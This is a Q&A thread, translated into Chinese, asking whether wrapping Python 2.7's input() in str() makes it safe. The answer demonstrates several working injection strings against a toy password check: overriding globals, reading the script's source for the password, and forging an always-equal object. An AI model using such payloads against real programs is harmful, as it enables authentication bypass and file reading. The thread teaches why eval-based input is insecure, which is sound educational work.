如果将其转换为字符串,是否可以安全地使用input()?

T. *_*ens 4 python input python-2.7

我一直在试验python 2.7的input()功能,并试图找到利用它的方法.我知道它本身很容易被利用,因为你可以输入python表达式,然后进行评估.我的问题是,如果你把它作为一个字符串,即:

str(input())
Run Code Online (Sandbox Code Playgroud)

它仍然容易受到这些攻击吗?这是否完全安全?

作为一个例子,给定以下程序,有没有办法利用input()并使其输出"正确的密码"?

import random
inp = str(input("Enter the password: "))
password = random.randint(0, 100)
if inp == password:
    print "RIGHT password" 
else:
    print "WRONG password"
Run Code Online (Sandbox Code Playgroud)

Kev*_*vin 11

有没有办法利用input()并使其输出"正确的密码"?

是的:

C:\Users\Kevin\Desktop>py -2 test.py
Enter the password: __import__('sys').stdout.write('RIGHT password') or exit(0)
RIGHT password
C:\Users\Kevin\Desktop>
Run Code Online (Sandbox Code Playgroud)

"但这不算数,因为你打印自己的输出并提前终止",你假设抗议."给我看一个条件实际执行的例子".

C:\Users\Kevin\Desktop>py -2 test.py
Enter the password: (1, globals().update({"random": type("", (object,), {"__init__": lambda self: setattr(self, "randint", lambda x,y: "1")})()}))[0]
RIGHT password

C:\Users\Kevin\Desktop>
Run Code Online (Sandbox Code Playgroud)

"好吧,好吧,在一个真实的应用程序中,我不会random.randint用来确定密码.给我一个条件inp == "hunter2":传递的例子"

import random
inp = str(input("Enter the password: "))
if inp == "hunter2":
    print "RIGHT password" 
else:
    print "WRONG password"
Run Code Online (Sandbox Code Playgroud)

 

C:\Users\Kevin\Desktop>py -2 test.py
Enter the password: __import__("re").search(r"if inp == \"(.*?)\"", open(__file__).read()).group(1)
RIGHT password
Run Code Online (Sandbox Code Playgroud)

"这不算数,因为你读了这个文件.给我看一个你不从源代码中提取密码的例子"

C:\Users\Kevin\Desktop>py -2 test.py
Enter the password: type("", (str,), {"__str__": lambda self: self, "__eq__": lambda self, other: True})()
RIGHT password

C:\Users\Kevin\Desktop>
Run Code Online (Sandbox Code Playgroud)

  • 在将文本输入到`input`提示符时,这些漏洞都不适用于Python 3,因为与Python 2不同,Python 3不会对收到的文本调用`eval`.或者你是说"为什么有些这些在Python 3中不起作用,即使你用`inp = str显式评估结果(eval(输入("输入密码:")))`?"?在那种情况下,我只是尝试了每一个,除了第一个,它们仍然可以工作,它输出`RIGHT passwordWRONG password`.看起来像3.X`sys.stdout.write`返回写入的字符数,这打破了`或`的短路行为. (3认同)